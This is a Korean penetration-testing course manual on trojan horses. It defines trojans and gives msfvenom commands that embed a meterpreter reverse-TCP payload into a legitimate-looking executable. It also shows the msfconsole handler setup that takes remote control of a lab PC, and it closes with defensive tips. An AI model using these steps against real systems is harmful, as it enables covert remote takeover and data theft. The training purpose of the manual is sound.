|  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
|  | | |  | | KITRI 모의해킹 28기 | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | 작성: 고승원 | | |  | |
|  | 최종프로젝트 매뉴얼 양식 | | | | | | |  |
|  | | 트로이목마 | | | |  | | |
|  | |  | | | |  | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |

|  |
| --- |
| 1. Trojan Horse Attack 개요 |
| 1. Trojan Horse이란?  -정상적인 프로그램으로 위장하여 시작부터 끝까지 램에 상주하며, 시스템 내부정보를 공격자의 컴퓨터로 빼돌리는 프로그램이다.  - 바이러스와 달리 직접 전파 능력이 없으면, P2P,메일등의 간접적인 전파경로로 사용자에게 전달된다.  - 좀비 PC처럼 내부정보 유출뿐만 아니라 컨트롤까지 가능한 종류가 있고, 단순히 내부 데이터만 유출할 수 있는 타입 트로이목마가 있다.  2. Trojan Horse Attack 달성 조건   1. 공격대상PC에 트로이목마가 포함되어있는 파일을 공격대상이 실행시켜야한다.   3. Trojan Horse Attack 공격 기본 절차  -트로이목마가 있는 공격 파일을 생성하는 방법이나, 활용하는 방법이 다르지만 기본적으로는 다음과 같다.   1. 공격자가 만든 트로이목마가 포함된 프로그램을 생성한다. 2. 공격자가 생성한 프로그램을 공격대상이 다운받는다. 3. 다운받은 프로그램을 실행한다. 4. 공격자가 공격대상의 PC에 접속한다. |
| 1. 공격절차 |
|  |
| 1. Metasploit으로 트로이목마 제작(컨트롤까지 가능한 종류) |
|  |
| ① 트로이목마를 심을 exe파일을 준비한다. |
| - 실행파일을 kali리눅스 안에 옮긴다. |
|  |
| ② msfvenom으로 다운받았던 exe파일과 똑같은 트로이목파 파일을 생성한다.  Root@kali:~/Desktop# msfvenom –p windows/meterpreter/reverse\_tcp lhost=192.168.248.128 lport=8080 –f exe –x /root/Desktop/faIpScanner.exe -k –e x86/shikata\_ga\_nal –i 5 > /root/Desktop/faIpScanner\_bak.exe |
|  |
|  |
| ③ msfvenom으로 만든 exe파일을 공격PC에 넣음. |
|  |
|  |
| ④ msfconsole로 트로이목마로 만든 프로그램 실행 시 상대 PC에 접속  root@kali:~/Desktop# msfconsole  Msf5 => use exploit/multi/handler  msf5 exploit(multi/handler) > set payload window/meterpreter/reverse\_tcp  msf5 exploit(multi/handler) > set lhost 192.168.248.128  msf5 exploit(multi/handler) > set lport 8080  msf5 exploit(multi/handler) > expolit |
|  |
|  |
|  |
|  |
|  |
|  |
|  |
|  |

|  |
| --- |
| 3. 보안진단 및 대책 |
| 이 시나리오는 metasploit으로 트로이목마를 제작해 공격 대상 PC에서 실행시켰을 경우 일반 백도어 파일처럼 관리자 권한 탈취하였다. 하지만 이것 외에도 많은 종류의 트로이목마가 있다. 트로이목마는 한번 설치되면 찾기 어렵기 때문에 처음부터 감염되지 않도록 주의하는 것이 중요하다. 기본적으로 지켜야하는 수칙은 이렇다. |
| 1. 출처가 불분명한 exe,ppt,hwp,doc 등의 파일을 열람 금지 2. 윈도우같은 OS와 백신프로그램을 최신버전으로 업뎃 3. 주기적으로 확인되지 않은 프로그램이 있는지 확인 및 비정상적인 프로세스 사용량이 있는지 확인해야함. |
|  |
|  |
|  |
|  |
| 4. 보안대책 적용시 공격결과 |
|  |
|  |